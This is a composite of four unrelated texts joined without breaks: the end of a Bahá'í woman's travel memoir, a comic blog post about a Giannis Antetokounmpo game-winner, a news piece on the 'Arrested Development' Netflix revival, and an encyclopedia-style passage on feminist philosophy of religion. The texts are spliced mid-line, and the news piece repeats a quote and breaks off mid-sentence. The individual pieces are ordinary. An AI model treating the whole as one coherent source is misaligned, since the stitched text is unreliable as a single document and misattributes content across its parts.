When we arrived at the Lucas home, she greeted us and allowed us the freedom of the house while she worked. She was a welfare officer. We were travel weary, so just glad to relax for the day. After a pleasant evening meal when Mr Lucas returned from work, we were taken off road in their jeep along some very rough tracks for some distance and then up a steep hillside through sugar cane fields onto open hillside. A little corrugated iron shack stood there, darkness all around us. A very thin Indian man in a vest came out to greet us and invited us inside to meet his young wife. He wanted to consult Mrs Lucas about a problem with his land. We retraced our way along the track and suddenly turned into a dark courtyard with silhouettes of large barn-like buildings surrounding it. About seven people stood outside one, waiting to greet us, and we were taken inside a large dark room where other people were sitting around a large table. A lady was stirring a pot on some kind of fire. We were given a good welcome and each person was given a large bowl of stew. This was a Bahá’í Community. They knew the Lucas’s well but we did not understand everything they said. When we left, everyone shook our hands and waved. Their smiles showed up in the very dim light.
Arriving in Australia we met Bob’s daughter Sheila and husband Ian, with Douglas, their almost one-year old boy. They lived 50 miles outside Melbourne in bush country near the Dandenong Ranges. Ian was almost completing building a mud brick bungalow. It still had some windows missing but was very spacious with open country views and nearest neighbours quite some distance away. During a happy time there, an important time came for Bob when Sheila called us to see the Bahá’ís on TV. She had accepted the fact he was a Baha’i. Every year in Melbourne there is a huge parade of floats organised to celebrate the different cultures in Australia. It is very colourful. There in the middle was a striking float and it belonged to the Bahá’ís in different national costumes. Later we returned home to Lympstone via Singapore meeting Baha’is at their Centre.
While we were living in the Exmouth area, Barney Leith asked me to be his assistant for Protection when he was Auxiliary Board member. It was a short assignment as his time ended in this capacity after a year. During this time, I made several visits to Exeter, Torbay and to Newton Abbot. Barney encouraged me to think of any ideas for further teaching. At that time Bob and I enjoyed renting an apartment for a holiday and I had the idea we could book out of season, in some Devon town, cheap accommodation for a mini-school. I found a suitable place at a small village on Exmoor called South Molton. It was not far from North Molton, home of an isolated Bahá’í, Josephine (Jo) Woodthorpe.
I put an advert in the Bahá’í Journal and had several replies. However, the house was limited to six people only and each caller wanted more accommodation. Then a phone call came from Dermod Knox. He wanted to book for four people. Before the arranged date, Parvin Fouroughi (from Exeter) and I travelled to the area, saw the house which looked out over a lovely view of Exmoor, and said some prayers for the event. We had a wonderful weekend with Dermod and Roushan Knox and their friend Nemat Askew, with her adult son. During that time, we also had visits from Mitra Broad and Jo.
Not long after coming home, I was sitting in the sun in our garden, and Bob came out and put his signed declaration card in my lap. He had been given the time he asked for and I am sure his experience with his Bahá’í daughter was what he had been waiting for!
Bob had a Japanese sister-in-law, Furnie Macdonald. We kept in touch and in the course of several years she visited us in Devon and invited us to visit her in Japan, where I asked for details of a Bahá’í contact. We were surprised to find that we were booked on an inaugural flight from Belgium over the North Pole and Siberia to Japan. There was a grand ceremony, with invited officials and the cutting of a thick ribbon at the passenger entrance and we were all given a small box of Belgian chocolates. Furnie’s flat was tiny with one bedroom and a kitchen-living room where we slept, with a view of Mount Fuji. We soon contacted an American lady, Janet Imaki, married to a Japanese Buddhist. We arranged to go with her by car to a meeting at the Bahá’í headquarters in Tokyo.
The surroundings were pretty with a lot of trees and raised flower beds. The transforming power of Bahá’u’lláh! In keeping with Japan, the entrance hall contained a large bookcase with many slip-on slippers for us to wear. The room for the meeting was upstairs. There were many nationalities there and a Feast was held. Afterwards a lady proudly showed us a framed original writing of ‘Abdu’l-Bahá’s which was hanging in a corner. For some years I kept in touch with Janet.
Back home, life with Bahá’í events began again. Roo had passed away and Jeremy and Chris and family were in Wales. However, a Catholic lady and near-neighbour in our road, and also a local village lady from Lympstone, started to come to our fireside, and Bahá’í friends came from Exeter to support us.
Return to Canada
Once again we decided on a trip to Canada. We visited my cousin Eileen who had married a Canadian Air Force man during the war, then flew to Vancouver and travelled by bus to Kelowna to see the Navais. Yousef had a lot of land which he farmed, and Farideh was working as a doctor. One weekend Yousef said we were all going to a special event on an Indian reservation. It was in the mountains outside Kelowna. It seems many years ago one of this tribe was a Bahá’í but had been buried without any special gravestone. Now there were more Bahá’ís in the tribe and they planned to put down a special gravestone and hold an all-day ‘potlatch’ event to commemorate the occasion. When we arrived, large cars were arriving bearing other representatives of tribes from other parts of Canada, and also over the border in America. Many looked very grand in their headdresses and beaded gowns. We noticed several people standing watching as we made our way inside. Soon, about six men sat in a circle in the large room and a bunch of herbs was lit which smoked, and in turn the men wafted this herb smelling smoke over their hair and bodies, then proceeded to chant and beat the large drum in the centre between them.
When we were all settled and the doors closed, a very dignified elderly chief got up to welcome us. He spoke of an Indian tradition which said “When the moon comes down to the earth, the Indian man will become free again to observe his traditions, wear his dress, and smoke his peace pipe”. He said Indians were not allowed by law to do these things any more. Then the first man to set foot on the moon, Neil Armstrong, brought back rocks from its surface, which were displayed for all to see. The moon had come to the earth! Soon after, a new law had been passed in Canada, giving the Indian nation their full rights and allowing them to play the drums again.
In the evening we all joined in a friendship dance. We formed a long row along the walls of the room. The Chief who had spoken first led the procession while the drummers played. The line doubled back on itself and each person who passed lifted a thumb for you to grip briefly with yours, until everyone in the room had greeted everyone else! It was a fascinating experience although Farideh and Yousef said they found the constant drumming quite difficult. After Bob died, I returned to Canada, en route for a cruise to Alaska, with the widow of Paul Whelan, the small boy who had introduced me to his Baha’i mother. After the cruise and a train tour of the Rocky Mountains, we separated and I went to see the Naváis again. It was a great family reunion as their three daughters and husbands and children were also visiting. I was made to feel one of the family and it was a lovely occasion. I also spent a day with Kay, and her husband, who was an eye specialist. I was intrigued to visit his consulting rooms in Kelowna and find the waiting room decorated with prints of Lympstone views I had painted years before!
For the Centenary of the passing of Bahá’u’lláh, there was the Baha’i World Congress taking place in New York, and we decided to go. As our plane departed, a gentleman took the seat beside us. Right away he said ‘Hello Dorothy’! He was an Iranian with a Northern Irish accent, Rustam Jamshidi, whom I had known when he was a young man visiting Winnie Whelan in Bangor. This was an amazing event! So many Bahá’ís from all over the world were present to hear the wonderful choir, music, and inspiring talks from Rúhíyyih Khánum and the Hands of the Cause.
In November 1992 we went on pilgrimage, which proved to be a true pilgrimage for Bob. He was moved by the experience but was also exhausted and in his mid-eighties by this time. Every night in the hotel he went to bed at about 5.30 or 6pm.
One visit was to the House of Abud in Acre. When I saw the tall flight of stairs up to the rooms, I asked Bob to sit in the hall while we went up the stairs. However, two Persian pilgrims, his trusty helpers who had supported him earlier, thought he must see Bahá’u’lláh’s house, and transported him up the steep flight and down again! Our guide to the Holy places was Adib’s wife, Lesley Taherzadeh, and we very much appreciated her explanations. We also met Adib when the House of Justice members came to mingle with the pilgrims.
A year passed after our pilgrimage and Bob developed jaundice. He was taken to hospital and recovered in a few days but I was told he had suffered a stroke while there, which affected his leg. A long series of events occurred with a transfer to our local hospital and several months in a recovery centre. He finally came back home but it was all too much and he died quietly at home, ending his life a month short of his 89th birthday.
I formed a plan of action after this major change and decided Lympstone would be quite hilly and difficult as I aged and stopped driving. I decided I would move to Exmouth. However, I decided to pioneer before that. I rented out my bungalow for a year and set off for Australia on the day after the eclipse of the sun. It turned out to be a very delayed journey to Heathrow as the roads were filled with returning spectators.
I first stayed with relatives of my husband in Perth, Western Australia, then took the Ghan train overnight to Alice Springs. I was given a warm welcome from former nun Kate Dwyer, who had already written to me, and Joanne Jordan, an American lady. I found a small unfurnished cottage to rent, just ten minutes’ walk from the town centre. I think it was just there for me as it was, unusually, Devon style, with false wooden shutters on the two front windows, and a red pantile roof. When it thundered and poured with rain, it turned out to be the usual noisy tin roof! The local Bahá’ís passed on news of my need for furniture and very soon a van arrived with a bed, a settee and a chest of drawers. Dishes and cooking pots also turned up.
It was a wonderful period, memories of which I will always treasure. The Bahá’í feasts were quite an occasion. Many people turned up and they were often held in a garden at night. The non-Aborigines liked to sit on the chairs under the garden lights, while the others preferred to sit cross-legged along the edge of the grass. Kate would sit down beside them.
I soon took up cycling again, after about thirty years. It was handy to travel further in town to events and I volunteered to organise and list the Bahá’í library books held at one of the houses on the other side of town. I also joined the Red Cross Meals on Wheels service, and attended a printing class in the Art Department of Centralian College.
When I was preparing to leave, there was a small farewell party among the Bahá’ís. I was pleasantly surprised when Marie, the first Aboriginal Baha’i of the area, a head elder of the tribe, stood near me and grasped my hand. There is a shyness about the Aborigines, especially the older ones and, in general, they do not like to have direct eye contact, preferring to speak with eyes averted. We exchanged glances and I was very touched by the occasion. I was also presented with a lovely tape of messages from members of the Community and two Aborigine-designed necklaces. The Aboriginees call Alice Springs the ‘healing place’ and for me it truly was.
Returning to Lympstone, it was time to think of moving to Exmouth as planned. It took over a year to sell my house and I found an apartment in a lovely position, high up, overlooking the bay and sands.
I then pioneered to Ireland for two years and the Irish National Assembly asked me to settle in Sligo. However, just a week before leaving I had a phone call from the Pioneer Committee and was asked if I would consider altering my plans as Shannon in County Clare needed a Baha’i more urgently than Sligo. It was a shorter journey away so I agreed and soon headed for Shannon.
The unity among the Irish Bahá’ís was wonderful. Many had been Bahá’ís since their youth and their families had grown up together and come into the Faith due to the great teaching efforts in the early 1970s which at that time included Adib Taherzadeh, Lesley Gibson and Gillian Phillips in and around Limerick. In Shannon we held a monthly, advertised meeting with readings and music in a central community hall.
We travelled a lot. Sometimes we went to lively events in a home near Ennis or met the Limerick Bahá’ís in their homes or in a Limerick hotel where there were regular talks on the Faith. A large group of African men, who were refugees from the Congo, came to the Ennis meetings. They were all members of a choir in Africa and we had several really musical evenings. One evening when I attended the hotel fireside in Limerick, I was surprised to meet the Bahá’í speaker. It was Dr Keith Munro from Northern Ireland, whom I had not seen for 40 years.
During my time in Shannon I volunteered to help people with reading difficulties. This later became helping people fill out government forms, and followed to helping in the rehabilitation of addicts using artwork. Later I was asked to join a small team who were working to integrate gypsy families. They had sessions on make-up, shopping, talks and occasional outings in a mini-van.
In 2002, I was present when the local Bahá’ís meeting in Limerick voted on names for their teaching group. To my curiosity they chose the name ‘Stan Wrout’ Group. I did not know about this pioneer who had come from England in 1970 to pioneer to Co. Clare and after a week, lost his life, drowning in the sea while swimming. While in Ireland we travelled in a large group to his burial place in Kilbaha, a remote coastal village where his body was finally found washed up across the mouth of the estuary from the opposite shore to where he had been bathing. He is buried behind a stone wall just beside the sea. We all spent time weeding the large grave area and leaving flowers there.
My two years in Ireland soon passed, and I motored home with the car packed with Irish souvenirs and a bicycle. My Bahá’í adventures were however not over, and I decided to apply for pilgrimage again and soon had dates. On Mount Carmel it was not long before I met Parvin Foroughi from Exeter, who was working at the Bahá’í World Centre.
One special moment was a visit to the Pilgrim Centre at night. It had not been built on my previous visit and was very beautiful. After a while I decided to take a short walk outside. It was dark and quiet, but warm and lit by a full moon. It occurred to me that I felt very different and secure, being there in the moonlight, more so than I would anywhere else, in the gardens where ‘Abdu’l-Bahá and Bahá’u’lláh had walked. It was a special, memorable moment I will never forget.
Back home in Devon a Chinese Bahá’í lady, Mai, got in touch. She was attending Exmouth Rolle College (Teacher Training). She was a really nice young lady with a six-year old son called Jun. We became good friends and I took them to different Bahá’í events in East Devon and Exeter and attended some of the College special events. For a time, they became my lodgers. At about this time, I attended training sessions in Liverpool for the new tutors to help with the new Ruhi study books being introduced. Mai and I decided to follow the course as well. She had two friends who wanted to join, and I asked two old Lympstone friends. After a year, Mai completed her qualification and after moving on to Huddersfield University she invited me to travel to China with her, which I accepted. I decided also to pay a last visit to Australia at the same time and to include a month in Alice Springs.
Mai saw to it that I experienced the highlights of China. We spent a day visiting the Emperor’s Palace. We had a few evenings out, one being in a booked room with friends of Mai’s, some of whom were Bahá’ís. After Beijing, arriving in Melbourne I was met by my step-daughter Sheila who took me to her home in Geelong. I stayed for several days and then joined a tour of New Zealand. My return flight to the UK went via Alice Springs, where I was delighted to see Kate Dwyer, with Bea, and she invited me to join a get-together of the Bahá’ís next day in a restaurant.
Back home and settling into Devon life again, I had a visit from Paul Whelan and his wife Jean from Wales. It was to be the last time I would see Paul. Just two weeks after, Jean rang to say he had stopped breathing during the night and had died. He was just in his fifties. She told me there would be two ceremonies, one for his work friends and local people in Wales, and one in Allestree in Derbyshire where Jean’s family lived. They had been married in the local church, and a baby son was buried in the graveyard there. She asked if I would suggest some Bahá’í readings and deliver them during each ceremony, the Ministers having given their permission. It was very moving for me to speak the Baha’i words and to remember Paul’s contribution to making me a Bahá’í.
In 2015 I decided to move to a sheltered apartment in Exmouth. We had almost formed our Spiritual Assembly for East Devon, having eight Bahá’ís at one time. However, plans change and now we have a community of eight in East Devon. We have a regular local newsletter produced by Stephanie Houghton. Apart from gatherings for feasts and Holy Days, a regular fireside is held by Dermod Knox in remembrance of the Prisoners in Iran, and I hold a small fireside afternoon of readings and meditation with support from Helen Babb from Chudleigh, once a month. It is advertised on our notice board in the apartments but so far, no residents have ventured forth!
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Dorothy Bruce
Devon, January 2019Giannis shoots the buzzer beater that brings home the W!! #OwnTheFuture https://t.co/UX6ggQqryk
— Milwaukee Bucks (@Bucks) January 5, 2017
Giannis. In a world that offers us so few joys, in a cold and unfeeling universe through which where we are forced to haul our miserable, rocking sacks of flesh, with only the embrace of death to reward us when our weary task is through, there is Giannis. The only thing that makes our task less wearying and more worthwhile is living in the presence of true beauty and joy. Watching a player as pure and beautiful as The Greek Freak—a ray of sun cast through water, manifest into flesh—come into his own at such a young age is truly The Stuff of Life, the fuel that gets someone up in the morning. It is pure radiant happiness, shining through the cloud of life's countless tragedies and tribulations.
There was a time when this outcome was not forgone. Giannis was once so stringy, so clumsy, a knock-kneed baby deer fumbling up and down the court. Those days are over. Giannis is a mighty, robustly behorned Buck now, standing atop the Madison Square Rock Garden, sun to his back, his glory shining down on the myriad creatures of the forest, stepping back from the Shark of Defeat and landing gently in the WarmPillowPile Of Victory, the enemies that seek his defeat left broken and confused, wondering how they lost their very lives on this cold, cruel day.
But I digress. I did not come here to observe the numbing tragedy of Knickerbockerdom. I came to marvel at the very construction of that precarious game winner. Giannis opted for a step-back jumper as his method, and the legs he used to actually step back are so massive that the set up to the shot was an event unto itself. It would be notable even if, by some strange providence, the shot had missed.
Watch forward Lance Thomas, responsible for Giannis on the play, rush to challenge the shot. He is completely unprepared for the distance he needed to travel even to get a cursory hand up. By my count, he takes two steps at first, realizes that he isn't even close, and sort of quickly pitter-patters out three extra steps just to save face as the shot sails into the hoop.
Look at the court, where Giannis's feet are, before and after his move away from his defender. He starts BEHIND the dash line, plants, steps back, and shoots just under the foul circle. The amount of space he manages to create with one step is downright surreal. When I saw it, I decided I would have to approximate the distance and give it some real life context for the reader. And so:
Here is the Knicks court, with two (Neon Green, for visibility) marks approximating the distance between Giannis's plant and step-back move. Doing a little back-of-the-photoshop math, that step represents a whole 7 percent of the entire width of the 94 foot wide court, a stretch of about SIX AND A HALF FEET. To really give you a tactile sense of that obscene distance, here are various manifestations of Six-and-a-half feet, as indicated by the blue tape I have taped across several items in my home, where I live:
Giannis could have backwards-jumped across more than 3/4ths of my enormous, wall-sized bookshelves, filled with my very prodigious collection of hard-to-read books to get space for that shot. Look at all those pages and words that Giannis could have leapt over in pursuit of glorious victory!
Six feet, two inches of handsome sportswriting beef, eminently jump over-able by our hero for this or ANY FUTURE game winner at Madison Square Garden! I could have wandered onto the court and lay my body down right in that spot for a little nap-ski-poo. I could have centered myself with the power of my breath and Giannis still could have—and WOULD HAVE—leapt over me and sunk the gold nugget of victory over my barely moving body.
Giannis stepping back over one toilet tipped on its side might not be impressive. But you know what is objectively impressive!?
Giannis stepping back over TWO AND A HALF TOILETS for a game winning victory! Look, if you're not impressed now, get a load of this visualization:
Could you do that, with your tiny legs and utter lack of will? Of course your couldn't. You would dribble the ball off your foot the second you saw there was a half-toilet on the court. You don't have the size or the iron will to work around that. Giannis does, though. And it's why he is THE NEXT NBA GREAT.
All Hail the New King of Youth and Beauty!It has been more than seven years since "Arrested Development" went off the air. The 2003 sitcom - which followed the adventures of the dysfunctional Bluth family - aired on Fox for three seasons to critical acclaim, but was canceled in 2006.
But now, it's back and bigger than ever with a brand new season premiere on Netflix on May 26 - and a midstate native helped make it happen.
John Foy grew up in Camp Hill and fell in love with Hollywood on a tour of Universal Studios on a family trip to Los Angeles. After graduating from Temple University in the 80s he packed his bags and moved out to Tinseltown. He's produced reality shows "The Biggest Loser" and "Obsessed," but now he's turning his focus to the world of scripted series.
A producer on the latest season of "Arrested Development," Foy was in charge of hiring crew and coordinating everyone on the production to ensure the dream became a reality.
Bringing back a cult classic like "Arrested Development" is definitely nerve-racking, according to Foy.
"With this show, its been off the air for so long that the audience now is larger and more rabid for this show than it would have if [the show] had continued for seven years," he said. "The expectations for this are the highest possible right now."
"To [Mitchell Hurwitz, the show creator]'s credit, there are plenty of ideas that are hysterical and great," Foy said. "He was very aware of what the fans like and want."
As for working with Hurwitz and the cast - "It was exactly what you would want and expect it would be," Foy said. "Half of the reason [the show] is so great is that vibe."
The whole production was shrouded in secrecy and they were constantly worried about things getting out. One set of items - photographs of Hurwitz's master plan for the show - were especially prized.
The photos depicted Hurwitz's grand vision, which was pasted on a wall in a room. In it, each character had a colored index card that represented them. The story was then told left to right, with up and down showing chronology. Yarn went from one card to another showing commonalities and where characters met up.
It was like looking at a serial killer's notes - the wall covered in photographs that reveals the grandiose scheme, Foy said. Because production was split into multiple buildings, photos were taken of the plan and given to select production staff and writers to work on.
"There was no way we could duplicate that room," Foy said. "So that was the most coveted picture in town. We had to cover them up and make sure we knew how many there were out there and they had to be checked."
"It was a big secret, but it was all worth it because - so far - I haven't seen anything [spoilers] out there yet."
But as soon as midnight hits on May 26 all the secrets will be out for the world to see, as all 15 episodes will be online at once.
Working with Netflix, as opposed to traditional cable networks, came with its own set of challenges. "Functionally, it's more nerve-racking because we have to deliver everything," he said. "It's not like the olden days where you have one episode that comes on next week and you don't have to finish it that week, because you can finish it the next one. Now everything has to be turned in - and with Netflix, since its a worldwide internet thing, they flip the switch and it's all over the world - all the captioning, all the translations, it all had to be delivered to them prior."
Foy believes Netflix is the way of the future. "I'd be surprised at the state of the big networks ten years from now," he said. "My kids - I have a 7-year-old and an 11-year-old - they don't know what NBC, CBS or ABC is. They know their shows and they go online and watch stuff they've never seen before."
"This is a moment in broadcasting history where - whether this model works or not - this is your first try on a solely web based company," Foy said. "Everyone else has a web presence, but it's a channel first. This is the first real attempt to put original programming on the web."
"This process, fail or not - and obviously with 'House of Cards' it's not failing and it won't fail with ['Arrested Development'] either - this moment in broadcasting history will be taught all around the world," he said.
The ability to watch episodes at your own pace, which Netflix allows, makes it an especially alluring platform for shows like "Arrested Development."
"You can watch our 15 episodes and literally finish and start over and you will see stuff you never saw the first go round - and then you can do it again," Foy said. "Every show is so dense with jokes and set pieces and posters on the wall - [Hurwitz] prides himself on that. It makes watching multiple times very fun."
With test audiences, Foy noticed that many really should watch the episodes again - because they ended up laughing through most of the jokes. "People who had never seen the episodes before, they were laughing and the laughter was so big they missed three or four jokes before it died down - and then it'd start back up again," he recalled.
Even Foy watches the shows multiple times. In fact, he says that he'll be joining the legion of fans that tune in as soon as the episodes drop.
But before they do - here are six bits of information on the new season and the future of "Arrested Development" - straight from Foy.
Each main character has roughly two episodes in which they are central to the show. "That was because we didn't have anybody under contract... we got them for a week. Once we defined what week they were, everything else was at their discretion. We only had the whole cast for two days total."
"That was because we didn't have anybody under contract... we got them for a week. Once we defined what week they were, everything else
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ence.
The later Daly's trilogy developed a modified, more immanent, theory of the divine, beginning with Gyn/Ecology: The Metaethics of Radical Feminism (1978), and continuing through Pure Lust: Elemental Feminist Philosophy (1984) and most of Quintessence—Realizing the Archaic Future (1998). Here the dialectic shifts subtly from the earlier balance maintained between immanence and transcendence, and tips in favor of a divine that is purely immanent within the female Self. Rather than being the divine milieu within which the self lives, the divine is only alive within the self. In GynEcology the emphasis is on the power “to spin” meaning out of women's own divine orbs and to find the power of being within one's self. By the time of Pure Lust, Daly has further modified the “power of being” to the pluralized “Powers of Be-ing,” a move that resolves the problem of the one and the many in favor of the many. Given Daly's separatist ideology, the “divine” in question can only be wholly incarnate in the “many” female divine Selves. The gynocentric emphasis of Daly's later writings will open her to the same critical questions posed about Irigaray's woman-centered writings. Can they do justice to differences that figure in discussions of race, class, ethnic origins, and so forth? Do they reinstall sexual difference with old stereotypes left intact, trapping women once more within the parameters of their sexuality and physicality? Have they romanticized difference rather than theorizing it?
Daly's intent was to create a trans-cultural, i.e., metapatriarchal, myth, but her thinking was deeply indebted to one particular strain in the Western intellectual tradition. Using the words of the Marxist Ernst Bloch, one could call this strain “revolutionary Prometheanism.” It goes back at least as far as the Stoic logos spermatikos, the “seed” that links every person with the divine reason. It is closely connected with the medieval mystic's talk of a “scintilla animae,” the “spark of the soul,” frequently echoed in Daly's books (e.g., 1978, 183: “the divine spark of be-ing in women”). Meister Eckhart could write: “I have said that at times there is a power in the soul which alone is free... It is free from all names, and altogether unimpeded, untrammeled, and free from all modes, as God is free and untrammeled in Himself.” For the radical medieval mystic like Eckhart the knowledge revealed in the experience of this divine spark is utterly self -authenticating. Therefore, it need not be subjected to the judgment of an institutional church. So too Daly writes: “she knows that only she can judge her self” (1978, 378). Also important in this strain of thought is the theme of the dispossession/repossession of the true, divine self. It is a powerful theme in Hegel (who was influenced by medieval mysticism) and in Feuerbach, and it also pervades Daly's philosophy of religion. Hegel decries human beings who let themselves be “robbed of freedom, their spirit, their eternal and absolute element” and who then take “flight to deity.” He insists that now (ca. 1800) is the time for persons to “repossess the treasures formally squandered on heaven.” Feuerbach takes up this same motif and makes it the dominant theme of his whole critique of religion. Daly refers to “Stolen female energy” (1978, 367), to “our stolen original divinity” (1978, 41) and urges repossession. She does not say what this leaves for men, who have been living off women, the “generators of energy” (1978, 319). Finally, along with Feuerbach, Daly says simply “we are divinity.”
Daly's philosophy of religion was plugged into the Promethean myth, but she also added an original contribution. She explicitly expanded it to include women. Then she performed a reversal, and restricted it to women—although this reversal, too, has deep roots in the Western tradition, specifically, Iranian and biblical apocalypticism. Daly conveys the impression that only a few women are able to undertake the “Journey” (1978) or to achieve “Quintessence” (1998). This is not because she was pessimistic about the female Self, which has “immeasurable unique potentialities” (1978, 382), but because she was acutely sensitive to the power of evil, that is, to the power of the male patriarchy to successfully co-opt women. At the same time, Daly could be rapturously optimistic about those women who do escape male power and begin to search and spin. These will find the “real source,” the “deep Background,” the “power of the self's be-ing,” “the Wild Self,” and spin into a “new time/space,” a “new creation,” and will glimpse a “Paradise that is beyond the boundaries of patriarchal paradise” (1978, 13, 24, 49, 283, 423).
More than Daly, Luce Irigaray's writings have proved to be a provocative stimulus for a number of feminist philosophers of religion (Anderson 1998; Deutscher 1994, 1997; Hollywood 1994, 1998; Jantzen 1999). Both a philosopher and a psychoanalyst, Irigaray aims to recuperate the repressed feminine. Her chief themes are (1) the “sensible transcendental,” which performs a similar function as Derrida's “finite infinite,” (2) sexual difference as paradigmatic of difference in itself, and (3) divinity and spirituality as significant feminist requirements to ground female subjectivity. Irigaray conceptualises the female divine as a “sensible transcendental” that is both flesh and word (Irigaray 1993a, 115, 129). Reversing traditional incarnational doctrine, she speaks of flesh made word instead of word made flesh. “But if the Word was made flesh in this way, and to this extent, it can only have been to make me (become) God in my jouissance, which can at last be recognized” (1985, 199–200).
Perhaps the best way to read Irigaray's notion of the “sensible transcendental” is in terms of Mary Daly's description of her own project: “The philosophy here unfolded,” Daly explained, “is material/physical as well as spiritual, mending/transcending this deceptive dichotomy” (1984, 7). Imagining both sexual difference and divine otherness, Irigaray coins the sensible transcendental to overcome the split between transcendence (mind or spirit) and sensibility (body). Unlike Daly, however, Irigaray argues that a spiritual relationship between women and men, understood as progressive energy transmission, can enable a harmonization of the human and divine dimensions separated under patriarchal distortions. A love that welcomes difference will be capable of recognizing the other as transcendent to the self. Each partner will be allowed access to her or his own divinization.
In “Divine Women” (1993b [first published 1987]) and “Belief Itself” (1993b [first presented 1980]) Irigaray's approach to the topic of divinity is profoundly immanentalizing, compared to traditional theology and philosophy of religion, even as her interest appears concentrated on the meaning of (women's) transcendence. Her reconstruction requires two dialectical movements. First, she must nullify the radical alterity of the Wholly Other God, arguing that this is a god produced by and for the masculine imaginary and therefore not suitable to women's becoming. Second, she must elevate “woman” to the status of the divine, negating Simone de Beauvoir's view that woman remains always within the dimension of immanence, incapable of transcendence. Mediated by a “god of her sex,” woman's becoming (divine) is thus possible, and in turn makes possible for the first time an ethics that defines a genuine relationship between two subjects, male and female, who do not simply differ, but differ differently. In the final analysis, by “the divine” Irigaray means “sexual difference” itself, that is, a new form of ethical relationship that can exist between women and men, or, by extension, between women and any others, once women have attained their own subjectivity.
Shorn of his anthropocentrism, Irigaray's philosophy of religion recalls the twofold ambition of Feuerbach's philosophy of religion in 1841: to elevate “man” to the level of “God” in order to display the true essence of the species-being; and to dissolve “God” into the human essence more unequivocally than Hegel, who did not fully anthropologize the divine. Her relation to Feuerbach (and Hegel) is apparent in her account of the sensible transcendental as marking the fundamental materiality of spirit. Debates concerning Irigaray's possible “essentialism” and “utopianism” also recall Marx's critique of Feuerbach's “species-being,” and repeated charges of the utopian quality of Marx's own idea of unalienated humanity. Some feminists rebut the utopian charge by finding in Irigaray's reflections on the element of air in the work of Heidegger a tangible example of materiality that transcends the limitations of embodiment without being any less material (Armour 2003). Others read Irigaray's notion of a sensible transcendental as relying too heavily on western models of autonomy and self-determination (Keller 2003). Recently, Irigaray's explorations of the meaning of spirit/breath as the elemental force of life have put her in touch with eastern religious traditions such as Hinduism (Irigaray 2002).
A major question some feminists have raised about the “feminine divine” is whether the language of transcendence can be retained plausibly as a poetic probe when the object of belief is assumed to be unreal. Amy Hollywood's analysis discloses why acceptance of a Feuerbachian projection theory of religion, in which God is the projection of human wishes, attributes, and desires, complicates any effort to construct a new “feminine divine.” Belief works, Hollywood says, only as long as the underlying dynamics that fund it remain hidden. “What Irigaray appears to forget is Feuerbach's central claim (and the grounds for his hope that the hold of religion might be broken): for religious projection to function, its mechanism must be hidden so that its object might inspire belief” (Hollywood 1994, 175). Irigaray recognizes that the “exposure” of this mechanism has not destroyed religion for many, and hence asserts the importance of adequate projections. But how is such projection possible or meaningful for those, like Irigaray herself, who assume that the object of belief is unreal? If Irigaray maintains a Feuerbachian human referent for her own projection of religious discourse in terms of female representations of the divine, the feminine divine, too, would seem to facilitate its own destruction. What possibilities does this leave for female transcendence? Can belief be simultaneously posited and deconstructed? Can the strong female subjectivity created in and by a mystic such as Teresa of Avila become available to women without Teresa's acceptance of a transcendent Other who is the divine (Hollywood 1994, 176)? Because transcendence for Irigaray is associated with the “male” and a sacrificial economy, it is not clear how women are expected to claim the new subjectivity that she thinks religion, reconstituted, can offer. It may be the case that Irigaray herself is ambivalent about belief and transcendence, and this leads her “immediately to deconstruct the very deities she invokes.” It may further be the case that the gynocentric project in philosophy of religion creates distinctive tensions, leading even sympathetic critics to inquire “how far the immanent can be re-inscribed as the site of transcendence without returning to the logic of sacrifice and bodily suffering seemingly endemic to the incarnational theologies of Christianity” (Hollywood 1994, 177). There is also the related question as to “whether belief can be mimed without re-inscribing women into a logic of the same such as that which Irigaray sees underlying Christianity” (Hollywood 1994, 177).
Irigaray can be interpreted as striving to create a religious language that leads neither to theism nor to atheism but rather to a dialectic of immanence and transcendence that does not in any way assume an “object of belief” along hierarchical lines of verticality (see Hollywood 2002, chap. 7). In comparison to traditional theological accounts of such a dialectic, however, the emphasis of Irigaray's philosophy of religion is oriented to affirming immanence, rather than to escaping finitude, embodiment, and materiality. The divine is to be found in the space between two (human) beings who encounter each other face to face in the recognition of sexual difference. Transcendence for women hinges on the possibility of this radical, and relational, immanentizing of the meaning of divinity.
While revisionist, de-patriarchalized philosophies of God/ess continue to engage some feminist philosophers of religion, others are willing to see even that topic cease to be center stage. As new waves of historicism and anti-essentialism register among the generation of post-analytic philosophers of religion, dissatisfaction has begun to develop with the traditional topics. Traditionally, for nonfeminist philosophers, the tendency to assimilate questions about religion to questions about “belief in the existence of God” has led down a slippery slope that transformed philosophical reflection about religion into reflection on the existence of God, the rationality of belief, the validity of the proofs, and the coherence of the divine attributes. This slide was historically understandable in terms of the influence of natural theology on philosophy of religion in the West, but the real issue, as noted by Michael McGhee, “is whether such preoccupations should remain central to the philosophy of religion, and, if not, what should replace them” (1992, 1). This section samples several emerging directions that signal the new preoccupations of feminist philosophers of religion.
Epistemological questions constitute an important part of the agenda for feminist philosophies of religion. What has the status of knowledge in various religious traditions? What gets valorized as worth knowing? What are the criteria evoked? Who has the authority to establish religious meaning? Is religious meaning something distinct from or independent of ordinary linguistic meanings of words? Who is the presumed subject of religious belief? How does the social position of the subject affect the content of religious belief? What is the impact upon religious life of the subject's sexed body? What do we learn by examining the relations between power, on the one hand, and what counts as evidence, foundations, modes of discourse, forms of apprehension and transmission, on the other? In view of the intimate connection of power/knowledge, how do we handle the inevitable occlusion that attends all knowledge production? What particular processes constitute the normative cultural subject as masculine in its philosophical and religious dimensions?
The work of feminist philosopher of religion Pamela Sue Anderson offers a good example of the feminist standpoint theory approach to religion and gender, unadulterated by any loyalty to Christianity. In the first book-length study to be entitled A Feminist Philosophy of Religion (1998) Anderson set out to revise and reform philosophy of religion by using feminist standpoint epistemology as developed by Sandra Harding in philosophy of science. A feminist standpoint is not the same as a woman's experiences, situation, or perspective but is rather an achievement of an epistemically informed perspective resulting from struggle by or on behalf of women and men who have been dominated, exploited, or oppressed. Applied to philosophy of religion, feminist standpoint epistemology involves thinking from the perspective of women who have been oppressed by specific monotheistic religious beliefs. Anderson challenges both the privileged model of God as a disembodied person and the related model of reason as neutral, objective, and free of bias and desire. Spinning new myths or devising new conceptions of a divine reality are not part of this agenda. There is only the double imperative: “to think from the lives of others” and “to reinvent ourselves as other.”
However, adequate understanding of the religious beliefs of embodied persons, according to Anderson, requires a deeper analysis of the multiple intertwinings between reason and desire than philosophy of religion normally shows.
